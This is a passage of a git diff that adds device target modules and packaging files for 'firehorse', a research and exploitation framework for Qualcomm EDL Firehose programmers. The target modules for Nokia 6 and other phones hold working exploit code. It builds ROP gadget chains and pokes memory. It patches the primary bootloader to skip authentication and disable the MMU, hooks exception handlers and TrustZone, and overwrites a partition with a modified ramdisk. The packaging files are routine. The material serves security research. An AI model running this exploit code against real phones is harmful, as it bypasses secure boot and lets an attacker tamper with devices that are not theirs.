cmd = Commands() + + m.bp_programmer(0x0802D3E4, msg="poke") + m.break_function(MODE_PBL, "pbl_sahara") + + +def apply_patches(m, target): + cmd = Commands() + + m.patch32_programmer(0x080094DC, 0xE51FF004) # LDR PC, [PC, #-4] + m.patch32_programmer(0x080094E0, target.addr_callback(cmd.DBG_INT)) + + m.patch32_programmer(0x080094E4, 0xE51FF004) # LDR PC, [PC, #-4] + m.patch32_programmer(0x080094E8, target.addr_callback(cmd.DBG_SOFTWARE_ENTRY)) + + m.patch32_programmer(0x080094EC, 0xE51FF004) # LDR PC, [PC, #-4] + m.patch32_programmer(0x080094F0, target.addr_callback(cmd.DBG_DATA_ABORT_ENTRY)) + + m.patch32_programmer(0x080243A0, 0xE51FF004) # LDR PC, [PC, #-4] + m.patch32_programmer(0x080243A4, target.addr_callback(cmd.DBG_PREFETCH_ABORT_ENTRY)) + + +def magic(): + target = t.get() + cmd = Commands() + bbdb = BasicBlocks(target.basicblocks_db_pbl) + bpm = BreakpointManager(bbdb) + pm = PatchManager() + + I('applying patches and breakpoints...') + apply_patches(pm, target) + apply_breakpoints(bpm) + + I('creating pagecopy...') + pages = set() + pages.update(pm.get_pbl_page_numbers()) + pages.update(bpm.get_pbl_page_numbers()) + + I('pages: ' + str(pages)) + pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages, + target_pages= + [0x807D000, 0x807E000, 0x807F000, 0x807C000, 0x8068000, 0x806e000, 0x807B000]) + + I('uploading firehorse data...') + fh = Firehorse(pm, bpm, pc) + fhdata = fh.pack() + fhbin = file("../tmp/fh.bin", "wb") + fhbin.write(fhdata) + fhbin.close() + + xml_hunter = XMLHunter(fhdata, target.fh_base_programmer+target.fh_scratch_offset, target) + xml_hunter.send() + + I('uploading firehorse..') + xml_hunter = XMLHunter(file("../device/build/fh.payload", "rb").read(), + target.fh_base_programmer, target) + xml_hunter.send() + + I('initializing firehorse...') + FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT) + + # I('calling pbl patcher...') + # FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER) + + +t.add_target(name="mido", arch=32, + programmer_path=r"target/mido/prog_emmc_firehose_8953_ddr.mbn", + peekpoke_style=0, + saved_lr=0x0803e65b, + saved_lr_addr=0x8057ee4, + pbl_base_addr=0x100000, + pbl_copy_addr=0x8068000, + page_table_base=0x200000, + fh_base_programmer=0x0210000, + fh_base_aboot=0x8f900000, + fh_scratch_offset=0x4100, + fh_saved_regs_offset=0x4000, + egghunter_base=0x807e000, + basicblocks_db_pbl="target/mido/pbl-mido-bbdb.txt", + magic=magic, + rawprogram_xml="target/mido/rawprogram0.xml", + uart=0x806f880) diff --git a/firehorse/target_nokia6.py b/firehorse/target_nokia6.py new file mode 100644 index 0000000..7720e2c --- /dev/null +++ b/firehorse/target_nokia6.py @@ -0,0 +1,242 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import argparse +import time +import re +import sys +import binascii +import subprocess +import os +import struct +from . import pt +from . import target +from . import constants +from .log import * +from .cmd import * +from .fw import Framework as FH_FW +from .fw import * +from .fh import * +from . import target as t + + +GADGET_INFINITE_LOOP = 0x080115D9 +GADGET_INVALID = 0x12345679 +GADGET_BX_LR = 0x8010671 + +# FIRST GADGET +ORIGINAL_SAVED_LR = 0x0802049b +BASE = 0x804d000 +SP0 = BASE+0xFFDC +FIRST_SAVED_LR = SP0 + +GADGET_ADD_SP_118 = 0x08025A8B +SP_INSIDE_FIRST_GADGET = FIRST_SAVED_LR+4+0x118 +SP_POP_R4 = SP_INSIDE_FIRST_GADGET +SP_INSIDE_FIRST_GADGET2 = SP_INSIDE_FIRST_GADGET+5*4 +SP_AFTER_FIRST_GADGET = SP_INSIDE_FIRST_GADGET2+0x14 + +GADGET_FIRST_GADGET_CONTROL_PC = SP_INSIDE_FIRST_GADGET2 + +# PC <- [SP_AFTER_FIRST_GADGET] + +SP1 = SP_AFTER_FIRST_GADGET + +# GADGET CONTROL REGISTERS +GADGET_CONTROL_REGISTERS = 0x08008D38 +SP_AFTER_GADGET_CONTROL_REGISTERS = SP1 + 40 +GADGET_CONTROL_REGISTERS_CONTROL_R4 = SP1 +GADGET_CONTROL_REGISTERS_CONTROL_R12 = SP1+32 +GADGET_CONTROL_REGISTERS_CONTROL_PC = SP1+36 +# PC <- [SP1+36] + +SP2 = SP_AFTER_GADGET_CONTROL_REGISTERS + +# GADGET_BLX_R12 +GADGET_BLX_R12 = 0x0801064B +GADGET_BLX_R12_CONTROL_R1 = SP2+4 +SP_AFTER_GADGET_BLX_R12 = SP2+0xC+12 +GADGET_BLX_R12_CONTROL_PC = SP_AFTER_GADGET_BLX_R12 - 4 +GADGET_BLX_R12_CONTROL_R4 = SP_AFTER_GADGET_BLX_R12 - 12 + +SP3 = SP_AFTER_GADGET_BLX_R12 +# PC <- [SP3-4] + +# GADGET_LEAK_PT +GADGET_LEAK_PT = 0x80081AC + +# GADGET LEAK R0 TO [R4] +GADGET_LEAK_R0 = 0x800D037 +SP_AFTER_GADGET_LEAK_R0 = SP3+0x14+12 +SP4 = SP_AFTER_GADGET_LEAK_R0 +GADGET_LEAK_R0_CONTROL_PC = SP4-4 +# PC <- [SP4-4] + +# PRINT GADGET +GADGET_PRINT = 0x08016333 +SP_PRINTF_CANARY = 0x380 +SP_PRINTF_CANARY2 = 0xD0 +SP_AFTER_PRINTF_GADGET = 0x38c+36 +# PC <- [SP_AFTER_PRINTF_GADGET-4] + + +def rop_exec(va, r4): + Framework.copy(SP4, FIRST_SAVED_LR+4, 64) + Framework.poke(GADGET_LEAK_R0_CONTROL_PC, 4, ORIGINAL_SAVED_LR) + Framework.poke(GADGET_BLX_R12_CONTROL_PC, 4, GADGET_LEAK_R0) + #Framework.poke(GADGET_BLX_R12_CONTROL_R1, 4, 0x12345678) + Framework.poke(GADGET_BLX_R12_CONTROL_R4, 4, r4) + #Framework.poke(GADGET_CONTROL_REGISTERS_CONTROL_R4, 4, 0x12345678) + Framework.poke(GADGET_CONTROL_REGISTERS_CONTROL_R12, 4, va) + Framework.poke(GADGET_FIRST_GADGET_CONTROL_PC, 4, GADGET_CONTROL_REGISTERS) + Framework.poke(GADGET_CONTROL_REGISTERS_CONTROL_PC, 4, GADGET_BLX_R12) + Framework.poke(FIRST_SAVED_LR, 4, GADGET_ADD_SP_118) + + +def rop(): + rop_exec(GADGET_LEAK_PT, t.get().fh_base_programmer) + + +def eggsend(path, dst): + e = Egg(file(path, "rb").read(), dst) + e.send() + + +def apply_patches(m, target): + cmd = Commands() + m.patch(MODE_PBL, 0x103e8c, + b"\x00\x50\x9F\xE5\x15\xFF\x2F\xE1\x00\x00\x0B\x08") # patch error handler + m.patch32_pbl(0x110014, 0xE320F000) # disable MMU + + m.nop(MODE_PBL, 0x110678, 0x1107B8) # remove initialization of page tables + m.patch32_pbl(0x1107B8, 0xE3A05000) # MOV R5, 0 - set return value to 0 + + # change stack of aborts. MOV SP, 0x80CFFF0 + m.patch32_pbl(0x100298, 0xE30F0FF0) # MOV R0, 0xFFF0 + m.patch32_pbl(0x10029c, 0xE340080C) # MOVT R0, 0x80C + m.patch32_pbl(0x1002a0, 0xE1A0D000) # MOV SP, R0 + + # set saved registers buffer + m.patch32_pbl(0x100378, target.fh_base_programmer + target.fh_scratch_offset + 0x1008) + + # set ourselves as manager + m.patch32_pbl(0x110008, 0xE3E00000) + + # pbl auth patch + m.patch32_pbl(0x103478, 0xEA000004) + + # patch exception handlers in the programmer + m.patch32_programmer(0x8008BCC, 0xE51FF004) + m.patch32_programmer(0x8008BD0, target.addr_callback(cmd.DBG_INT)) + + m.patch32_programmer(0x8008BD4, 0xE51FF004) + m.patch32_programmer(0x8008BD8, target.addr_callback(cmd.DBG_INT)) + + m.patch32_programmer(0x8008BDC, 0xE51FF004) + m.patch32_programmer(0x8008BE0, target.addr_callback(cmd.DBG_INT)) + + # SBL patcher - patch exception handlers in the SBL + m.patch32_sbl(0x080225BC, 0xE51FF004) + m.patch32_sbl(0x080225C0, target.addr_callback(cmd.DBG_SOFTWARE_ENTRY)) + + m.patch32_sbl(0x80068AC, 0xE51FF004) + m.patch32_sbl(0x80068B0, target.addr_callback(cmd.DBG_INT)) + + m.patch32_sbl(0x80068B4, 0xE51FF004) + m.patch32_sbl(0x80068B8, target.addr_callback(cmd.DBG_PREFETCH_ABORT_ENTRY)) + + m.patch32_sbl(0x80068BC, 0xE51FF004) + m.patch32_sbl(0x80068C0, target.addr_callback(cmd.DBG_DATA_ABORT_ENTRY)) + + # ABL patcher - patch undef instruction handler in the ABL + m.patch32_abl(0x8F6238AC, 0xE51FF004) + m.patch32_abl(0x8F6238B0, target.addr_callback(cmd.DBG_SOFTWARE_ENTRY, target.fh_base_aboot)) + + +def addr_callback(fh_base, n): + return fh_base+0x20+n*4 + +def apply_breakpoints(m): + cmd = Commands() + + m.break_function(MODE_PBL, "pbl_sense_jtag", flag=BP_FLAG_ONCE, cb=cmd.DISABLE_UART) + m.break_function(MODE_PBL, "pbl_jmp_to_sbl", flag=BP_FLAG_ONCE, cb=cmd.CB_SBLPATCHER) + m.bp_sbl(0x803D05E, size=2, msg="Patch TrustZone", cb=cmd.PATCH_TZ) + m.bp_sbl(0x0803E220, size=2, msg="SBLEnd", cb=cmd.ABL_PATCHER) + m.bp_abl(0x8F6178F8, msg="beforelinux", cb=cmd.BEFORE_LINUX) + m.bp_abl(0x8F633754, msg="mmcread2", cb=cmd.MMC_READ) + m.bp_abl(0x8F635078, msg="bootlinux", cb=cmd.BOOTLINUX) + + +def magic(): + cmd = Commands() + target = t.get() + + # overwrite logdump partition with our modified ramdisk + Framework.write_partition("logdump", "target/nokia6/nokia6-ramdisk-modified.cpio.gz") + + bbdb = BasicBlocks(target.basicblocks_db_pbl) + bpm = BreakpointManager(bbdb) + pm = PatchManager() + + I("applying patches and breakpoints...") + apply_patches(pm, target) + apply_breakpoints(bpm) + + I("creating pagecopy...") + pages = set() + pages.update(pm.get_pbl_page_numbers()) + pages.update(bpm.get_pbl_page_numbers()) + I("pages: " + str(pages)) + pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages) + + I("uploading firehorse data...") + fh = Firehorse(pm, bpm, pc) + fhdata = fh.pack() + fhbin = file("../tmp/fh.bin", "wb") + fhbin.write(fhdata) + fhbin.close() + egg_hunter = Egg(fhdata, target.fh_base_programmer+target.fh_scratch_offset) + egg_hunter.send() + + I("uploading firehorse...") + egg_hunter = Egg(file("../device/build/fh.payload", "rb").read(), target.fh_base_programmer) + egg_hunter.send() + + I("initializing firehorse...") + FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT) + + I("calling pbl patcher...") + FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER) + + if "wait" in " ".join(sys.argv): + I("waiting for LF") + raw_input() + I("you have 5 seconds") + time.sleep(5) + + Framework.exe(target.pbl_base_addr) + + + +t.add_target(name="nokia6", arch=32, + programmer_path=r"target/nokia6/prog_emmc_firehose_8937_lite.mbn", + peekpoke_style=0, + saved_lr=0x0802049b, + saved_lr_addr=0x805cfdc, + pbl_base_addr=0x100000, + pbl_copy_addr=0x8080000, + page_table_base=0x200000, + fh_base_programmer=0x80b0000, + fh_base_aboot=0x8f900000, + fh_scratch_offset=0x20000, + fh_saved_regs_offset=0x21000, + egghunter_found_parts=0x8093000, + egghunter_base=0x080af000, + egg_xml='target/nokia6/egg-nokia6.xml', + basicblocks_db_pbl="target/nokia6/pbl-nokia6-bbdb.txt", + magic=magic, + rawprogram_xml="target/nokia6/rawprogram0.xml", + rop=rop) diff --git a/firehorse/target_oneplus3t.py b/firehorse/target_oneplus3t.py new file mode 100644 index 0000000..9cfcfd8 --- /dev/null +++ b/firehorse/target_oneplus3t.py @@ -0,0 +1,13 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +from . import target + +target.add_target(name="oneplus3t", + arch=64, + programmer_path=r"target/oneplus3t/prog_ufs_firehose_8996_ddr.elf", + peekpoke_style=1, + rawprogram_xml="target/oneplus3t/rawprogram.xml", + ufs=True) diff --git a/firehorse/target_oneplusx.py b/firehorse/target_oneplusx.py new file mode 100644 index 0000000..308c931 --- /dev/null +++ b/firehorse/target_oneplusx.py @@ -0,0 +1,17 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +from . import target + + +target.add_target(name="oneplusx", + arch=32, + programmer_path=r"target/oneplusx/prog_emmc_firehose_8974.mbn", + peekpoke_style=0, + saved_lr=0x0803f28f, + saved_lr_addr=0x8057ee4, + pbl_base_addr=0xFC010000, + page_table_base=0x200000, + basicblocks_db_pbl="target/oneplusx/pbl-oneplusx-bbdb.txt") diff --git a/firehorse/target_ugglite.py b/firehorse/target_ugglite.py new file mode 100644 index 0000000..a0f11d4 --- /dev/null +++ b/firehorse/target_ugglite.py @@ -0,0 +1,131 @@ +# +# firehrose +# By Roee Hay & Noam Hadad, Aleph Research +# + +import argparse +import time +import re +import sys +import binascii +import subprocess +import os +import struct +from . import pt +from . import target +from . import constants +from .log import * +from .cmd import * +from .fw import Framework as FH_FW +from .fw import * +from .fh import * +from . import target as t + + + +def apply_breakpoints(m): + cmd = Commands() + + m.bp_pbl(0x100000, msg="pblentry") + m.break_function(MODE_PBL, "pbl_sahara") + + +def apply_patches(m, target): + cmd = Commands() + + m.patch32_programmer(0x08008CAC, 0xE51FF004) + m.patch32_programmer(0x08008CB0, target.addr_callback(cmd.DBG_INT)) + + m.patch32_programmer(0x08008CB4, 0xE51FF004) + m.patch32_programmer(0x08008CB8, target.addr_callback(cmd.DBG_SOFTWARE_ENTRY)) + + m.patch32_programmer(0x8008CBC, 0xE51FF004) + m.patch32_programmer(0x8008CC0, target.addr_callback(cmd.DBG_DATA_ABORT_ENTRY)) + + m.patch32_programmer(0x8020158, 0xE51FF004) + m.patch32_programmer(0x802015C, target.addr_callback(cmd.DBG_PREFETCH_ABORT_ENTRY)) + + # set ourselves as manager + m.patch32_pbl(0x110008, 0xE3E00000) + + m.patch(MODE_PBL, 0x103e8c, b"\x00\x50\x9F\xE5\x15\xFF\x2F\xE1") + m.patch32_pbl(0x103e94, target.fh_base_programmer) + + m.patch32_pbl(0x110014, 0xE320F000) # disable MMU + + m.patch32_pbl(0x100298, 0xE3030FF0) # MOV R0, 0xAFF0 + m.patch32_pbl(0x10029c, 0xE3400021) # MOVT R0, 0x800 + m.patch32_pbl(0x1002a0, 0xE1A0D000) # MOV SP, R0 + + # set saved registers buffer - fh_base + saved_regs_offset + 0x8 + m.patch32_pbl(0x100378, target.fh_base_programmer + target.fh_saved_regs_offset + 0x08) + + # remove pt initialization + m.nop(MODE_PBL, 0x110678, 0x1107B8) # remove initialization of page tables + m.patch32_pbl(0x1107B8, 0xE3A05000) # MOV R5, 0 - set return value to 0 + + m.patch32_pbl(0x103478, 0xEA000004) + + +def magic(): + target = t.get() + cmd = Commands() + + bbdb = BasicBlocks(target.basicblocks_db_pbl) + + bpm = BreakpointManager(bbdb) + + pm = PatchManager() + + I('applying patches and breakpoints...') + apply_patches(pm, target) + apply_breakpoints(bpm) + + I('creating pagecopy...') + pages = set() + pages.update(pm.get_pbl_page_numbers()) + pages.update(bpm.get_pbl_page_numbers()) + + I('pages: ' + str(pages)) + + pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages, + target_pages=[0x807D000, 0x807E000, 0x807F000, 0x807C000, + 0x8068000, 0x806e000, 0x807B000]) + + I('uploading firehorse data...') + fh = Firehorse(pm, bpm, pc) + fhdata = fh.pack() + fhbin = file("../tmp/fh.bin", "wb") + fhbin.write(fhdata) + fhbin.close() + + e = XMLHunter(fhdata, target.fh_base_programmer+target.fh_scratch_offset, target) + e.send() + + I('uploading firehorse..') + + e = XMLHunter(file("../device/build/fh.payload", "rb").read(), target.fh_base_programmer, target) + e.send() + + I('initializing firehorse...') + FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT) + + I('calling pbl patcher...') + FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER) + + +t.add_target(name="ugglite", arch=32, + programmer_path=r"target/ugglite/prog_emmc_firehose_8917_ddr.mbn", + peekpoke_style=0, + saved_lr=0x0803f28f, + saved_lr_addr=0x8057ee4, + pbl_base_addr=0x100000, + pbl_copy_addr=0x8068000, + page_table_base=0x200000, + fh_base_programmer=0x0210000, + fh_scratch_offset=0x4100, + fh_saved_regs_offset=0x4000, + egghunter_base=0x807e000, + basicblocks_db_pbl="target/nokia6/pbl-nokia6-bbdb.txt", + rawprogram_xml="target/ugglite/rawprogram0.xml", + magic=magic) diff --git a/firehorse/xmlhunter0.xml b/firehorse/xmlhunter0.xml new file mode 100644 index 0000000..0951777 --- /dev/null +++ b/firehorse/xmlhunter0.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/firehorse/xmlhunter1.xml b/firehorse/xmlhunter1.xml new file mode 100644 index 0000000..3477ec0 --- /dev/null +++ b/firehorse/xmlhunter1.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..3990d8f --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,109 @@ +[build-system] +requires = ["setuptools>=45", "wheel", "setuptools_scm[toml]>=6.2"] +build-backend = "setuptools.build_meta" + +[project] +name = "firehorse" +dynamic = ["version"] +description = "Research & Exploitation framework for Qualcomm EDL Firehose programmers" +readme = "README.md" +license = {file = "LICENSE"} +authors = [ + {name = "Roee Hay", email = "research@alephsecurity.com"}, + {name = "Noam Hadad", email = "research@alephsecurity.com"}, +] +maintainers = [ + {name = "Aleph Research", email = "research@alephsecurity.com"}, +] +keywords = ["qualcomm", "edl", "firehose", "mobile", "security", "research", "exploitation"] +classifiers = [ + "Development Status :: 4 - Beta", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Topic :: Security", + "Topic :: Software Development :: Embedded Systems", + "Topic :: System :: Hardware", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.6", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Operating System :: Microsoft :: Windows", + "Operating System :: POSIX :: Linux", +] +requires-python = ">=3.6" +dependencies = [ + "pyserial", + "pyusb", + "cryptography", +] + +[project.optional-dependencies] +dev = [ + "pytest", + "black", + "flake8", + "twine", + "wheel", + "build", + "setuptools_scm", +] + +[project.urls] +Homepage = "https://github.com/alephsecurity/firehorse" +Repository = "https://github.com/alephsecurity/firehorse" +Documentation = "https://alephsecurity.com/" +"Blog Posts" = "https://alephsecurity.com/2018/01/22/qualcomm-edl-1/" +"Research" = "https://alephsecurity.com/research/" +"Bug Tracker" = "https://github.com/alephsecurity/firehorse/issues" + +[project.scripts] +firehorse = "firehorse.firehorse:main" + +[tool.setuptools] +packages = ["firehorse"] + +[tool.setuptools.package-data] +firehorse = ["target/*.xml", "target/*.py"] + +[tool.setuptools_scm] +write_to = "firehorse/_version.py" + +[tool.black] +line-length = 100 +target-version = ['py36', 'py37', 'py38', 'py39', 'py310', 'py311'] +include = '\.pyi?$' +extend-exclude = ''' +/( + # directories + \.eggs + | \.git + | \.hg + | \.mypy_cache + | \.tox + | \.venv + | build + | dist +)/ +''' + +[tool.pytest.ini_options] +minversion = "6.0" +addopts = "-ra -q" +testpaths = [ + "tests", +] + +[tool.flake8] +max-line-length = 100 +extend-ignore = ["E203", "W503"] +exclude = [ + ".git", + "__pycache__", + "build", + "dist", + ".eggs", + "*.egg-info", +] diff --git a/requirements-dev.txt b/requirements-dev.txt new file mode 100644 index 0000000..5649e52 --- /dev/null +++ b/requirements-dev.txt @@ -0,0 +1,7 @@ +pytest>=6.0 +black>=21.0 +flake8>=3.8 +twine>=3.0 +wheel>=0.36 +build>=0.3 +setuptools-scm>=6.0 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..ab6612f --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +pyserial>=3.5 +pyusb>=1.0.0 +cryptography>=3.0 diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..893aacf --- /dev/null +++ b/setup.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python3 +""" +Setup script for firehorse package +""" + +from setuptools import setup, find_packages +import os + +# Read the README file +def read_readme(): + with open("README.md", "r", encoding="utf-8") as fh: + return fh.read() + +# Read the LICENSE file +def read_license(): + with open("LICENSE", "r", encoding="utf-8") as fh: + return fh.read() + +setup( + name="firehorse", + version="1.0.0", + author="Roee Hay & Noam Hadad", + author_email="research@alephsecurity.com", + description="Research & Exploitation framework for Qualcomm EDL Firehose programmers", + long_description=read_readme(), + long_description_content_type="text/markdown", + url="https://github.com/alephsecurity/firehorse", + project_urls={ + "Blog": "https://alephsecurity.com/", + "Research": "https://alephsecurity.com/research/", + }, + packages=find_packages(), + classifiers=[ + "Development Status :: 4 - Beta", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Topic :: Security", + "Topic :: Software Development :: Embedded Systems", + "Topic :: System :: Hardware", + "License :: OSI Approved :: Apache Software License", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.6", + "Programming Language :: Python :: 3.7", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Operating System :: Microsoft :: Windows", + "Operating System :: POSIX :: Linux", + ], + python_requires=">=3.6", + install_requires=[ + "pyserial", + "pyusb", + "cryptography", + ], + extras_require={ + "dev": [ + "pytest", + "black", + "flake8", + "twine", + "wheel", + "build", + ], + }, + entry_points={ + "console_scripts": [ + "firehorse=firehorse.firehorse:main", + ], + }, + include_package_data=True, + package_data={ + "firehorse": [ + "target/*.xml", + "target/*.py", + ], + }, + keywords="qualcomm edl firehose mobile security research exploitation", + license="Apache License 2.0", +)